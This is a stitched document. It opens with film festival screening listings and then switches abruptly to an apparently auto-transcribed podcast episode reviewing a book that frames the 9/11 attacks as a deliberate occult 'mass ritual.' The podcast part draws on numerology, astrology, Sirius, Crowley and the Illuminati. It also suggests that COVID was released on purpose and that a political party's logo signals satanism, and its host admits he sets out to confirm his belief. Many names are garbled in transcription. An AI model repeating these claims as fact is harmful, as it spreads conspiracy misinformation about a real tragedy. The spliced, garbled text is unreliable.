Cast: Mitchell Slaggert, Christine Marzano, Billy Ray Suggs, Dorian Cobb, Erby Dalmus Burton III Writer, Director, Producer: Daniel Peddle Producers: John Solomon, Jacob Ingle Executive producer: Gail Lyon Recently Screened At: Los Angeles Film Festival Scheduled to Attend: Daniel Peddle Screening Details: 9/30 @ 4:30 PM | Scottish Rite Cathedral [GET TICKETS] The Peacemaker Documentary, 90 minutes In the early 1970s Padraig O’Malley ran a bar in Cambridge, Massachusetts, while nursing an alcohol problem. During his recovery process, O’Malley became obsessed with international diplomacy; if war is a kind of addiction, he thought, perhaps peace could be accomplished by similar means to recovery from other addictions. Since then O’Malley has been instrumental in bringing peace to Northern Ireland, South Africa, and elsewhere. James Demo’s stunning documentary captures O’Malley late in his career, as he surveys his accomplishments and struggles to accept his own limits. Director & Producer: James Demo Editor: Erin Casper Recently Screened At: Full Frame Film Festival (World Premiere), Hot Docs, Florida Film Festival (Special Jury Prize for Vision and Storytelling) Screening Details: 9/30 @ 8:30 PM | Delta College Planetarium [GET TICKETS] Quality Problems Comedy, Drama, 106 minutes HHM Jury Nomination: Lead Actress (Brooke Purdy) Bailey certainly can be forgiven a little road rage. She’s got an 8-year-old’s birthday party to prep for, an Alzheimer’s-afflicted father wandering somewhere around town, and a recurrent cancer in her left boob that requires immediate surgery. But with the help of good friends, her loving partner Drew, and a sense of humor as big as all outdoors she just might make it through the day. This heartwarming comedy from wife-and-husband team Brooke and Doug Purdy shows how adversity can be faced down with an appropriate arsenal of fart noises. Cast: Brooke, Doug, Max and Scout Purdy; Mo Gaffney, Chris Mulkey, Jenica Bergere, Ryan Bollman and Michael Patrick McGill Directors: Brooke and Doug Purdy Writer: Brooke Prudy Producer: Jen Prince Recently Screened At: Cinequest, Bentonville Film Festival, Woods Hole Film Festival Scheduled to Attend: Brooke Purdy, Doug Purdy Screening Details: 9/30 | 8:30pm | State Theatre [GET TICKETS] Opening Night Film The Scent of Rain & Lightning Drama, Mystery, 102 minutes HHM Jury Nominations: Best Feature Film, Best Cinematography, Best Score, Lead Actress (Maika Monroe), Supporting Actress (Bonnie Bedelia) Jody’s grief at the loss of her parents turns to rage and fear when she learns that Billy, the man convicted of killing them, is being released from prison on a technicality. A confrontation with Billy sows Jody’s doubts about the crime and leads her to uncover skeletons in the closet of her cattle-ranching family. Blake Robbins’ stylish whodunit set on the Kansas prairie features a host of excellent performances led by Will Patton as the family patriarch. Cast: Maika Monroe, Maggie Grace, Mark Webber, Logan Miller, Will Patton, Brad Carter, Bonnie Bedelia, Justin Chatwin Writer: Novel by Nancy Pickard, Screenplay by Casey Twenter, Jeff Robinson Director: Blake Robbins Producers: Casey Twenter, Jeff Robinson, Jeff Johnson, Maggie Grace, Kevin Waller Recently Screened At: Atlanta Film Festival (World Premiere), Newport Beach Film Festival, Cleveland International Film Festival Scheduled to Attend: Brad Carter, Casey Twenter Screening Details: September 28 @ 8:15 PM | State Theatre [GET TICKETS] The Sounding Drama, Mystery, 93 minutes HHM Jury Nominations: Best Feature Film, Best Screenplay, Lead Actress (Catherine Eaton), Supporting Actor (Harris Yulin) When psychologist Michael visits the island home of his mentor Lionel, he meets Lionel’s daughter, Liv, who is a kind of conscientious objector of verbalism; she hasn’t spoken in years, though there appears to be nothing wrong with her. After Lionel succumbs to cancer, Liv finally begins speaking again, but in a surprising, archaic tongue. As he struggles to save Liv, Michael learns that it is she who may save him. This drama from Catherine Eaton (who also plays Liv) shows the Bard’s continued relevance to a modern audience. Cast: Catherine Eaton, Harris Yulin, Teddy Sears, Frankie Faison Writer & Director: Catherine Eaton Writer: Bryan Delaney Producers: Caitlin Gold, Jessica Vale, Rebecca Skloot, Braxton Pope Recently Screened At: Cinequest (World Premiere), Arizona International Film Festival (Festival Grand Prize), Minneapolis St. Paul International Film Festival (“New American Visions” Audience Award) Screening Details: 9/29 @ 8:00 PM | State Theatre & 10/1 @ 2pm | Scottish Rite Cathedral [GET TICKETS] Stigmatic: Our Opioid Crisis Michigan Matinee, Documentary, 58 minutes WORLD PREMIERE Those not directly impacted by opioid addiction often find it easy to ignore. In this documentary filmed in Saginaw and Bay City, Garret Morgan shows how deeply addiction has penetrated the heart of middle America. In interviews with recovering addicts as well as those tasked with treating them, the film suggests this scourge can affect nearly anyone, and makes a strong plea for greater attention to a growing national health crisis. Writers, Directors, Producers: Garret Morgan & Keith Schnabel Producer: Sammi Schenkel Scheduled to Attend: Garret Morgan, Keith Schnabel, Sammi Schenkel Screening Details: 9/30 | 10:30am | Scottish Rite [GET TICKETS] The Strange Ones Drama, Mystery, 93 minutes HHM Jury Nominations: Lead Actor (James Freedson-Jackson) Sam is a kid at the edge of adolescence who’s on the run with an older boy named Nick. No one’s sure what they’re about, least of all us viewers. As they motor across a sparse landscape and hole up in an isolated cabin, the contours of their relationship grow darker, and signs emerge of the violent past they’ve left behind. Co-directors Christopher Radcliff and Lauren Wolkstein infuse this twisted coming-of-age thriller with disquieting mystery and picturesque beauty. Cast: Alex Pettyfer, James Freedson-Jackson, Emily Althaus Writers & Directors: Christopher Radcliff & Lauren Wolkstein Producers: Michael Prall, Eric Schultz, Shani Geva, Sébastien Aubert, Anne Carey, Kristen Konvitz, Daniela Taplin Lundberg, Mynette Louie Recently Screened At: SXSW, Maryland Film Festival, Oak Cliff Film Festival Screening Details: 9/30 | 2:15pm | State Theatre [GET TICKETS] Sundowners Comedy, Drama, 96 minutes HHM Jury Nominations: Best Feature Film, Best Screenplay, Best Soundtrack, Lead Actor (Phil Hanley, Alex) Phil’s a small-time videographer in a cold, flat town in the Midwest. When his boss sends him to shoot a swanky wedding in Mexico, Phil takes his pal Justin along to do the still photography (never mind that Justin’s barely ever picked up a camera). Pavan Moondi’s follow-up to 2015 HHM selection Diamond Tongues begins as a quirky comedy and evolves into a meditation on the feelings of mortality that come in the wake of life’s peak experiences. Cast: Phil Hanley, Luke Lalonde, Tim Heidecker Writer and Director: Pavan Moondi Producers: Brian Robertson, Julia Rosenberg, Tyler Levine Recently Screened At: Nashville Film Festival (World Premiere), Sidewalk Film Festival, Buenos Aires International Festival of Independent Film Scheduled to Attend: Pavan Moondi, Brian Robertson Screening Details: 9/30 | 6:30pm | State Theatre AND 10/1 | 4:30pm | Scottish Rite Cathedral [GET TICKETS] Teenage Love Bomb Drama, Thriller, Foreign Language (Danish), 84 minutes HHM Jury Nomination: Best Soundtrack Thomas is a typical teenager in his Danish town. He likes to ride his bike and horse around with his kid brother. He has a crush on Vikki, the bad girl at school, and a secret admiration for her gang of toughs. One other thing: Thomas makes bombs. When he marshals his skills to impress Vikki and win the gang’s friendship, Thomas soon finds he’s in too deep. Mads Erichsen’s drama shows how adolescent issues of love, sex, and status can turn literally explosive. Cast: Nikolaj Petersen, Maria Petersen, Elias Munk Writer, Director, Producer: Mads Erichsen Recently Screened At: Buster Youth Film Festival, SF Indie Fest, Machester Lift-Off Film Festival (Best Feature Live Action Narrative) Screening Details: 9/30 | 6:30pm | Delta College Planetarium [GET TICKETS] Wexford Plaza Dark Comedy, 84 minutes HHM Jury Nominations: Best Feature Film, Best Screenplay, Supporting Actress (Ellie Posadas) Betty is a love-starved loner tortured by the indignities of her job as a security guard at an anonymous strip mall. She develops a crush on Danny, who works as a bartender at a failing dive at the mall. The stage is set for love and heartbreak, but that’s only half the story; the second half is Danny’s very different perspective on the same events. Joyce Wong’s tragicomic film brings the Rashomon effect to lower-middle class suburbia, following the struggles of two flawed yet deeply sympathetic characters. Cast: Reid Asselstine, Darrel Gamotin, Ellie Posadas Writer and Director: Joyce Wong Producers: Matt Greyson, Harry Cherniak, Joyce Wong Recently Screened At: Slamdance Film Festival, Atlanta Film Festival, Los Angeles Asian Pacific Film Festival (Reid Asselstine, Breakthrough Performance) Scheduled to Attend: Reid Asselstine, Darrel Gamotin, Ellie Posadas Screening Details: 9/29 | 8:15pm | Scottish Rite Cathedral AND 10/1 | Noon | Scottish Rite Cathedral [GET TICKETS] What Music Do You Speak? Documentary, Foreign Language (Spanish & French), 81 minutes HHM Jury Nomination: Best Soundtrack Sébastien Roger de Nuῆez, a young French filmmaker whose mother is of Argentinian descent, arrived in Argentina with a small crew and an insatiable curiosity about the country’s musical traditions. As the filmmakers cut a trail from Buenos Aires to Tilcara, they take in the sights and songs of crowded carnivals, intimate cantinas, boisterous rodeos, and indigenous ceremonies. If this sounds like a dry lesson, think again; this is a film whose music you feel, animated by de Nuῆez’s infectious enthusiasm. Writer, Director, Producer: Sébastien Roger De Nuñez Writer & Director: Richard Gerard Recently Screened At: Byron Bay Film Festival (World Premiere) Screening Details: 9/29 | 4pm | Delta College Planetarium [GET TICKETS] We’ve paired a short musical road trip to play before the feature. Notorious Corn Animation, Comedy | 1 Minute This short resembles a highly condensed Behind the Music special following the brief but bright celebrity career of an ear of corn. Mallory Grolleau’s charming minute-long animated short profiles a rock star right out of left field who gets a little too hot. Writer & Director: Mallory Grolleau | Producer: Mathieu Faure | Recently Screened At: Food & Farm Film Festival, Animation Attack, Houston Comedy Film Festival Undocument Drama, Foreign Language Feature, 93 minutes This collection of four short films from the U.K. shows the lengths that refugees of oppressive and war-torn countries go to for a measure of freedom and security. A pregnant woman seeks transit out of Afghanistan; an Iranian family in Greece suffers under a cruel trafficker; an immigrant couple in London is visited by immigration officials; and a court interpreter in London suffers a moral crisis while mediating a hearing that threatens to tear apart a family. Each story hits closer to home than the last in this moving political drama. Cast: Nabil Elouahabi, Julia Krynke, Ako Ali, Kyla Bruce Writer and Director: Kyla Simone Bruce Director: Amin Bakhshian Producer: Khalid Jabaly Recently Screened At: East End Film Festival (World Premiere), Phoenix Film Festival, Iranian Film Festival Screening Details: 9/29 | 6pm | Delta College Planetarium [GET TICKETS]

! We’ll conclude our 9/11 analysis with the second half of SK Bain’s book! We’ll talk about Section Two: The Producers, astrology, Statue of Liberty, Exposing Brad Meltzer’s shilly ass, Sirius, 9/11 as EGYPTIAN NEW YEARS DAY (yes- it’s true!), Saturn, Bushes, Revelation of the Method, Dion Fortune and of course, 2001: A Space Odyssey! 4: Most Dangerous Book in the World- 9/11 as a Mass Ritual Book Club Week can be multiple interpretations from the symbols, they can be invoking different deities with the same symbol or with the same act. And so where they’re invoking Hermes, of course, when you step back and take kind of a meta analysis on the entire day’s events, I mean, it’s, it has strong Luciferian satanic overtones. But the, you know, there’s, again, this is it’s really complicated texture, it’s very sophisticated. And, you know, even though we could view it as a Luciferian mega ritual, it’s not exclusively so so they, they’re, they’re invoking these deities, and they, they pay homage to and worship multiple deities, Hermes being chief among them. And so that was, you know, in a sense declaring the overall nature of the day’s events because the, the Twin Towers were the first objects, math symbols that were in, utilized and invoked that day, and of course, they went on to be used as a covering in several chapters, as, you know, mass altars or sacrificial vessels. So, you start to drill and drill down further and further and peel the onion and there there are lots of different layers. But it’s it’s not super sophisticated. You just have to take it in a methodical, methodical fashion. Isaac Weishaupt 1:34 Welcome back, everybody. We are wrapping up our 911 deep dive. If you’re keeping track, this is part four, the fourth our fourth hour, and you might be saying, well, Isaac, there’s a lot you’re not talking about buddy. And I would say to you, Yes, that’s true. There’s a geopolitical angle I don’t want to get into there’s anomalies and discrepancies about passports and people that were on the flights that got off the flights for no apparent reason like Seth MacFarlane, and Marky Mark Wahlberg wasn’t the other Mark Wahlberg. It doesn’t matter. celebrities that were booked to get on flights and didn’t. john ashcroft, who didn’t fly privately for months leading up to it. I mean, didn’t fly commercially, excuse me. But as I told you already, that’s not the angle. The angle I am taking is a cult theater occult ritual. The puppet masters who I believe subscribed to on a call belief, an occult hidden understanding of the world, how they manipulate and steer events, to change the consciousness of the masses to create a world they ultimately want. It’s going to be good for them bad for us. That’s what I believe in. So I, of course, will find evidence to prove that. And that’s what these four episodes are all about. And as you could tell, I mean, we were on for hours on the subject here with a lot more we could get into, but we got to keep moving on with life. And there’s, you know, if I’m giving you four hours of content, know that I spent at least five times that preparing this you may get an hour a week Atomy on shows but know that there’s at least five times that maybe 10 times that of time behind the scenes, I got to read and research and make notes and write it down and blah, blah, blah, blah, blah. Which is fine. I love it. I love doing this I’m just telling you. In case you wanted more in case you needed a deeper, deeper dive. There’s a lot more you could do it and you could read this book by SK Bay and then we’re going to wrap up our four part series on 911. With our second half of the book club on SK Baynes the most dangerous book in the world. 911 is a mass ritual. And in the first part of this book club, which was 911 conspiracy theories, part three. We went to the first half of the book about the production. The numbers, the twin pillars, the flights, how they connect to Alistair croley talk about sacrifice rituals for the goat for the deity of Lucifer. The number 77 a little bit on Michael Hoffman and his ideas. Flight 93 and then we ended with talk about building seven and the numerology and the ideas behind it. And today, we will wrap things up Talk about all kinds of crazy stuff. Finishing the second half of that book, which as I told you before, great book, I highly recommend. There’s a lot more in the book that I am not talking about if you can believe that or not, there’s a lot more in there, I didn’t take notes on every little bit, I just hit the parts that I found most applicable to my journey of trying to do research to prove that there’s an occult agenda and a spiritual battle at play here. So without further ado, let’s get into it. And in the book, section to the producers. He’s talking about when Westcott he’s talking about Alistair Crowe Lee. And then and again, we talked about some of these ideas in episode, part two, where we talked about a lot of the heavier occult symbolism of the numerology behind nine and 11. And there’s a lot of overlapping ideas that show up in this book, I should tell you. Now, Crowley said in gematria, that nine is the most evil. But we heard 11 as the most evil before 11 is the number of magic. So nine is the most evil because of its stability. AVB witchcraft the false moon of the sorceress. And he describes nine as the any odd stability and change, referring to the nine related deities in Egyptian mythology, which includes those Cyrus ISIS and set. So when you look at it from terms of 911, you have the number nine, meaning most evil and the number 11. As the magic force, you combine nine and 11, you get evil magic. And you can’t talk about magic unless you talk about astrology. And that plays a role. Because events are conducted based upon the location and movement of the stars. You could talk about john D here a bit with his nokian magic, talking to the the angels the fallen angels, which cruelly designed some of his Abra Mellon workings based upon to make contact with entities which again, the occult idea of UFOs and the new UFO religion, spirituality plays a role in all this. But astrology has pointing towards the stars, and you’d look at their hermetic axiom as above so below again, the idea that the cosmos are connected from the macro to the micro to the world on earth. And the magician is the orchestrator, coordinating all these events. And in the book, they talk about Saturn and Pluto being what they call the Lords of death. And Saturn is always the harbinger of death, bringing darkness to the light. And Previously, we talked about how the forces of Saturn ended the trip in the Garden of Eden. And Saturn was the outermost planet at one time, right, it was the sixth planet. And that was the case until they found Pluto. So they’re both called the Lords of death, the outer most adversarial opposing force, and they want to balance these forces on 911, Saturn Pluto, were actually in opposition according to this book, and they came too close to each other. And that was chosen as the day to do a mass ritual. Now I’m not do hip on a lot of this astrology. So I just did some simple searching I found a website called Saturn sisters calm. And this is what they say. They say when the Twin Towers were struck down on 911 2001 Saturn in Gemini, the twins was opposing Pluto in righteous said Sagittarius. When Saturn meets Pluto we experienced the heart of darkness and are forced to face our deepest fears and our very will to live. Pluto purchase secrets personal and collective. So it seems that what SK Bane is saying holds some truth, with Saturn and Pluto being an opposition and this being chosen as day of mass ritual. The Heart of Darkness. sq main also talks about the Statue of Liberty and says this is based upon another one of these wonders of the world Ancient Wonders of the World. The Colossus of Rhodes massive statue of The Greek god Helios. And it had that crown of the solar rays and the torch symbolism of the aluminum, the Illuminati, the doctrine that guides these occultist, believing that Lucifer or the promethease is bestowing the wisdom upon men from the gods to free man from the oppressive God. Then the Statue of Liberty meant Liberty enlightening the world, which again, Lucifer. And there’s a sauna inside of the statue that says, The New Colossus of course, you know, I had a look into this. And, and because in the book, he even claims and I remember Brad Meltzer, he did a show called the hell was it called? It was on history channels called decoded. And I watched this many years ago, I don’t remember when it was out, it must, at least five, maybe 10 years ago. And there was a whole episode on the Statue of Liberty that SK Bane refers to in the book. And he claims in the book that Meltzer and crew investigate this conspiracy about how the Statue of Liberty was based upon Lucifer and the conclusion they come to is that Lucifer wasn’t such a bad guy. And I thought, Well, okay, Mr. Baine Namie, you’re being a bit hyperbolic. So I went and found the show and watched it for myself. And they talk about how the Statue of Liberty was originally a gift to Egypt. Again, you’ve got this Egyptian connection, and close to the Middle East area, which is where all the spiritual Armageddon stuff happens. Where the 911 New Year happens in Egypt. We’ll cover that in a minute. And the guy designed it made it supposedly made it to look like his mom and his girlfriend couldn’t help but think about like the Madonna whore complex there. And they talk about the connections with Freemasonry. They’ve got a guy and you know, the interview these conspiracy guys and they were in the sunglasses, and they discuss this Illuminati stuff. And then they interview Mark Dice. We all know Mark Dice. Who actually seems like a pretty good guy in a lot of these shows. When he does the interviews, I think on his YouTube, in his twitter and stuff, he’s trying to ham it up a bit trying to be entertaining, because he comes off like a real dick on his Twitter and YouTube and like, I don’t like Mark Dice, based upon those things. But when I see him on the shows and the interviews, he seems like a normal dude. And he does seem like he knows he knows what he’s talking about. But they interview Mark Dice, who tells them that the Illuminati and the statue and the Rockefellers they’re all worshipping Lucifer, he’s dropping the truth bomb right on that as and the lady. There’s a female on the show. Okay, so if you don’t know Brad Meltzer is decoded Brad Meltzer. He’s the bald guy and he, he doesn’t really go out on the, on these little investigations, he sends out these two guys and a girl to excuse me, two men and a woman. And the woman she’s like, these people are seeing all these symbols. They’re, they’re just a bunch of paranoid schizophrenics. And, you know, all these shows are filmed, it has the the three people out there investigating and doing the interviews. And then Brad Meltzer was on a green screen, sort of summing up each idea and giving his thoughts. And he’s like, you know, this is a reckless and a dangerous idea to say the statues about Lucifer. And then, after he says, whether you think it’s a symbol of Lucifer, or if you’re saying like me, blah, blah, blah, because they’re trying to create the narrative. They’re trying to counter all these conspiracy theories. And they’re shaming you into believing this which is crazy. And they visit a guy who references the Bible, saying that Lucifer is a reference to Venus, the light bearer, and that Lucifer isn’t Satan at all. And they come to the conclusion that the Statue of Liberty is about the light bear and Lucifer and he’s not all that bad. It’s not Satan. That’s a totally different thing. paths like well, chalk up another point for SK Bane, because that’s, that’s how I interpreted this show. They basically came to the conclusion that Yeah, Statue of Liberty is based on Lucifer. But Lucifer is not a bad guy that’s just like a misinterpretation. But I can tell you right now, if I open up my orthodox Study Bible, and again, I have to defer to people that spend much more time studying these subjects than myself, these theologians and stuff, the book of Isaiah, chapter 14, I’m going to read you Oh, okay, Chapter 14, verse 12, how you are falling from heaven, oh Lucifer who rose up in the morning, he who sends for all the nations is crushed to the earth. For you said in your mind, I will ascend into heaven, I will place my throne above the stars of heaven, I will sit on lofty mountain on the lofty mountains towards the north, I will ascend above the clouds, I will be like the Most High, but now you shall descend to Hades to the foundations of earth. And I think, Okay, so what does that mean? I go to the study Bible portion for idiots like me, over here, mouth breathing. And it says, I’m reading you directly from the Orthodox Study Bible. verse, chapter 14, verse four means the king of Babylon is compared to Lucifer or Satan. That tells me, it’s the same person. Then chat vert, Chapter 14, verse 12, through 14, says, note, the five times Lucifer says, I will, in this passage, in this five step process, he fully intends to take the place of the one true God. likely the mountains towards the north are those to the north and east of Jerusalem. Blah, blah, blah. So I don’t know. That’s what the was it. Our study Bible says Lucifer, Satan, the king of Babylon is Satan. He’s trying to take the place of God on the throne of the Most High. Which is that not what the technocracy wants through science trust the science? Science is your new God. And, you know, again, you know, my steez I don’t know the answer to religion, I don’t know the answer to what’s happening in the afterlife. There’s a lot of strange things about organized religion I don’t agree with but these occultist and aluminous should have a heart on to take it the other way, right. Serious, let’s get serious. We’re gonna talk about the star, the binary star system, Sirius. I’ve talked about this many times. On the show, I’ve talked about it at length in the dark path. My most popular book, I’ve talked about it, I believe in aliens UFOs in the occult user illusion, one. And here it shows up in SK Bane. Two because we’re reading the same things. This is we’re sort of vetting each other’s research almost in this book is how I felt. He says that Homer’s Iliad called it an evil portent. And it’s in the constellation of Canis Major, which is what the Romans called the watchdog of hell. And he’s laying out this argument that Sirius is tied to evil, okay, basically, which was a conclusion I came to, upon researching all this occult literature. It talks about our pike in morals and dogma confirmed serious as the blazing star, which is what you see, by the way, in the Freemason temples that talk with a blazing star you see the, the picture or the What is it, they’ve got like a son with a golden rays coming from it, in the temples as the blazing star. So Albert Pike confirms a series of the blazing star and the symbol of the Creator who is everywhere and all masons must ascend to it as a source of divine power by achieving perfection, which is to understand the dual nature of the world good and evil, male and female through alchemy, symbolized as the union of Osiris and ISIS to birth Horus, which is the perfected man of Freemasonry who is the blazing star. So again, a little bit more of a flavor on reconciling the opposites. Those twin pillars the Twin Towers, the North and South blavatsky said similar things in the Theosophical glossary books saying that Sirius was worshipped by the occultists because it’s associated with Hermes or aka both. And the establishment here is Sirius is also known as Hermes also known as sloth also known as set also known as typhon, also known as Satan shaitan. Which I’m going to blow your minds by the end of this one. By the end of this episode, hang in there is might get nerdy. It’s gonna be worth. KENNETH grant and Alastair cruelly in the hidden God said that silver star, you know, the AIA or gentle Master, that is actually serious. So again, you got the Freemasons referencing it, you got curly referencing it. They love it can’t get enough. And the key to the AR Horace, this new age represents the energy of Satan that will permeate the earth during the present cycle, as well. Crowley was saying, and that’s what grant Kenneth grant supports. KENNETH grant, of course, being a follower of Alister Crowley starting the Thai phony and Oto, a branch of the magical order of the Ordo templi orientis. His whole thing was trying to make contact with entities, specifically typhon, which we just told you was Satan. But no, CRO these guys don’t worship Satan. No. They just serve talk about them an awful lot. And if you dig deep, like a real nerd, which I did, Alister crowing the hidden God, by Kenneth grant, chapter four has a section called the angel in the A on that talks about this, okay. And this is exclusive stuff that you’re not going to get in the book and that SK Bane book. That’s not a dig, not trash talking. I’m just saying, I went a little deeper. I mean, his book is very large, didn’t need more, didn’t need more info. But it details how Alastair Crowley set up knowledge channeling through a loss. Because again, that’s what this is all about. You make contact with these forces these entities to channel knowledge and wisdom. And a was set of knowledge and through a loss, which was his superpower. That got him to beat out matters, Samuel matters, to give up control of the Golden Dawn and let croley run the Golden Dawn. So you can see that he got a certain power from doing this. It also talks about how the Book of the Law previously we talked about that as al the book of the law and croley we’re setting up knowledge for people to do the great work and put their consciousness in connection with the cosmos and these entities that we’re talking about. And even dogs about Crowley’s magical rituals he did, particularly between 1920 and 1924. And how they quote probably did engender strange and unearthly children. He cites Marjorie Cameron’s letter to Jean wolf in 1952, in which she talks about the Babylon working and how it unlocked the second of three forces that were set into motion. Because Crowley began the first one three years before Cameron was born. Meaning she Marjorie Cameron things Alistair Crowley manifested her. She says, quote, and I quote here is paternity sings in my veins. And you know the whole story right. JACK Paar says no, Ron Hubbard did the Babylon working based on a ritual Crowley was putting together to manifest Marjorie Cameron into jack Parsons life, boom, it happens. It’s all connected. It also talks about how Crowley saw manifestations of the New Age. Because of world war two and this new magic in which these are new ages in which magic happens. And he called he said when the planet is bathed in blood. I’m gonna read you from the book here. There was a magical operation of maximum importance the initiation of a new alien. When it becomes necessary to utter a word the whole planet must be bathed in blood. Before man is ready to accept the love dilemma. The Great War must be fought. This bloody sacrifice is the critical point of the world ceremony of the proclamation of Horus the crown and Cochran child as the Lord of the Ayaan. Although blood was the chief vehicle of magical energy in the Ayaan of Osiris, which was characterized by blood sacrifice and the dying God in the current a on the Anna Horace the menstrual is semen. Now he’s on what he’s talking about babies in the world and blood. Let’s talk about that for a minute. You didn’t think about 2020 and the thing that will never go away, was it unleashed to Bade the world and blood was it built in a lab on purpose to Get out of control, bathed roll and blood. World War Two which Crowley cited as one of these crucial moments took 75 million lives according to Google. So you know it’s got some catching up to do. And if you look at James Shelby downers work, sorcery, sex assassination in the science of symbolism. He said that there was a serious cult series The star, a serious cult in the US military intelligence. He also said there was a viewing chamber in Palomar used for rituals too serious. He said that the Palomar telescope was focused on Saturn and that Caltech was involved with Parsons, and there was a temple that the Oto dedicated near Mount Ballmer. And we’re getting real deep and nerding out into the occult figures here, so I don’t want to lose you. So we’re gonna we’re gonna keep moving. Let’s move on to the next idea here. He said that 911 September 11. is New Year’s Day in Egypt. I said throw away your crazy SK Bane. What are you talking about? Bro? I thought maybe this is some obscure reference I couldn’t find. But I looked it up and my jaw dropped when I looked at the Coptic calendar on Wikipedia, sure enough, and he says that the Egyptian New Year is the first dawn rising of Sirius, which was June in the summer solstice, but then Sirius drifted from the solstice. And according to the Gregorian calendar, it’s now 911. Because the Coptic calendar, which is based on that original Egyptian calendar, said the first month of the year is both named after both. And this lines up to believe it or not, September 11. That’s crazy. We talked about all these Egyptian gods and alchemy, and how you know, you look at Washington DC, and you don’t see much Christian symbolism, you see a whole hell of a lot of Egyptian symbolism though these pagan gods everywhere. But people want to believe what they want to believe they won’t listen. The Freemasons they love the Egyptian symbolism. That’s the true God. He exists within the Egyptian Mystery Schools. Another fun fact from SK Baines book What’s the name of the only police dog to die? 911 You guessed it serious. Yeah, serious was the name of the dog serious is also the name of the dog star. And he makes note that k nine is the reverse of 9k k the number 411 911. Very strange. Saturn again the lord of death with Pluto in conjunction and Pluto is mythologically associated to hell, by the way. But Saturn and Pluto in conjunction happened on 911 the Twin Towers were the gates the hell the twin pillars bow as in juki in the interest of the mystical place. So he describes how the ritual works you have to astrologically set up things has to be the stars have to be in alignment, like they always say there has to be a magical level then there has to be a literal level. And that’s what happened astrologically the Saturn Pluto were in alignment, flight 11 crashes to start the ritual and then you have flight 175 to make contact with Satan basically. Then it literally happened when the towers burned down. Now what’s curious is that the symbol on the Twin Towers was the Trident if you recall, they’re built from the designers built from try dance. And Joseph Campbell said that the trainer was the symbol of Shiva, also that of Poseidon, also that of Satan with the pitchfork. This was a massive satanic altar and they put Trident into the memorial because that those remained after the debris crashed and stuff they were able to salvage the trance. They put trials into the memorial, which were also subterranean black cubes. Now another thing that blew my mind the remains of these buildings which definitely had human ashes in them. Definitely right? bones. Guess where they sent them? They have them somewhere right can’t leave them in Manhattan. The decline was Staten Island to the Fresh Kills landfill, which I found bizarre. I’m not a New Yorker, but maybe maybe that’s not a big deal to them. The Staten Island dump the Fresh Kills landfill. That’s where all these these poor people that died, burned up, burned alive. That’s where the remains are. These people have a sixth sense of humor, if all if all this is true, which I think it is, but I don’t know that for fact. Then he talks about the Millennium Millennium Hilton. This is a building directly east of the World Trade Center. And I didn’t know this either, but it’s a massive monolith. It’s, it’s to pay homage to 2001 A Space Odyssey. And you and I’ve talked about 2001 so many times, because Arthur C. Clarke wrote these books, okay. And it’s about the alien intelligence, evolving mankind. These entities evolving mankind through the monolith, the alien intelligence. And Arthur C. Clarke. He talked about in childhoods end about the Overlord demon aliens evolving, man. If you read through the books, the Space Odyssey, there’s like four books. If you read them, they’re all very good. By the way. If you read them, man evolves into digital consciousness. That’s what the aliens teach us. That’s where they take it. And what do you know, there’s a massive monolith right across from the World Trade Center, witnessing this whole thing. witnessing the twin pillars collapsing. witnessing the evolution of man the day that things will never be the same. That just so happens to be the same year from the story. A big black monolith, my goodness. Okay, we’re coming up on the last section, I want to talk about section three. ie dogs about how in the year 2000. Right at the new millennium, the republican party who were the architects and I’m not look, I’m not saying that the democrats pride and do some things to they’ve got their own problems. But the Republican Party through p nack, which was full of neoconservatives that were talking about how we needed to get another Pearl Harbor gone. To bush and company that were in charge when it happened. The year 2000 the Republican Party changed their elephant logo because you know, they’ve logos for these political parties. There’s always the elephant. And the stars on that elephant used to be upright, but in the year 2000, they inverted them. nother satanic symbol inversion of reality, they’re there because they subscribe to this gnostic doctrine. What’s up is down, it was down as as good as bad news. Bad. Good. And that’s when they sold out maybe. Maybe it was long before that. What do I know? Because when they showed you they were, they were sending the message, inverting those pentagrams. And look, Bush was in the skull and bones. Secret Society obsessed with death. That’s what they do in the initiations. I mean, it’s right there in the name, Skull and Bones. He talks about how difficult it would be to prove or disprove the people actually involved to prove or disprove details like the passports burning, which ironically, it’s the same conclusion I had. When I decided to make these 911 shows I I’m focusing only on the occult symbolism because it’s a lot of tough territory to navigate. And he he talks about Michael Hoffman’s work. Here a lot. I’m gonna read you from Michael Hoffman here, says this theater of death began as a ritual for the cult members themselves and ended as a giant magical ceremony for the processing of the entire nation. This is the alchemical cycle drama for the transformation of humanity. We are processed just by reading or watching the news. And Hoffman goes on to describe the revelation of the method. That’s what we’re witnessing. Okay. When you look at American Airlines flights 11 77 which are abbreviated to a 11 a seven seven. We once again see a parallel with Alastair Crowley’s secret society little group of grooming magicians called a the origin to master them translated as Silver Star, which again, refers to Sirius, the blazing star. This the blazing star of Satan. Now in English, if you look at our gentium, Astro, which is Latin means Angel and the Abyss very scary sounding. Now the building so you know, they took the twin pillars down, right, and we talked about how they resurrect the single pillar. Well, the new pillar, the new tower, the new building is called the One World Trade tower. And the height is 17 176 feet, which is the same year, Adam vice founded the Bavarian Illuminati. And I did in fact, check that and that turned out to be true, tallest building in America now taller than the Twin Towers 17 176 feet. This talk about the middle middle pillar, remember, let’s go back to it. Ironically, the Tree of Life has the three pillars, which is a tried and if you view it in a certain way, ironically, the left pillar is the pillar of destruction, aka the black, the severity. And it’s the path of the intellectual it’s more formalized. It has like sort of the rules and the logic, logic constraints. Where’s the right one, the right pillars that of creation, this is the white This is the mercy. This is the path for those that don’t like the rules are the Trish and this is your archetype of the free spirit. And the center is harmony. This is the path of conscious awareness which is the One World Tower and the idea that the occult is understand about the tree of life. You spend your life bouncing around between rules and free spirit and the trick is to find the harmonious center path and have a little bit of both sounds reasonable. The center pillar is the equilibrium This is the cosmic awareness it’s ironically also the path through the Abyss through day off the hidden realm the hidden Sephiroth which takes us into Crowley’s angels in the best talk right and if you read from Dion fortunes mystical Kabbalah This is where we’re wrapping up the Hang in there. I know this was a lot. I came at you hard to paint on this one, but we had to, we had to bring it to the the depths of the occultist to understand what’s going on. And I’ll be honest, it’s still a little muddy. I don’t understand it either. These wackos Dionne Fortune’s mystical Kabbalah says, and I’ll read you from it. So you can be just as confused as I am. Says the middle pillar rises through day off the invisible Sephora, which we have already seen is knowledge according to the ram eyes, and conscious awareness or apprehension according to the terminology of the psychologist. At the head of this pillar is catheter the crown, the root of all being consciousness theory, reaches from the spiritual essence of catheter through the realization of dath, which carries it across the Abyss into the translated consciousness of tifereth. Whether it is brought by the sacrifice of the Christ, which runs the Val Park F, then on into the psychic consciousness of yesterday, the sphere of the moon and thence to the sensory brain consciousness of malkuth. The idea here is that one can balance these opposing forces, these opposing pillars to take the path of the middle pillar through DAF, the invisible 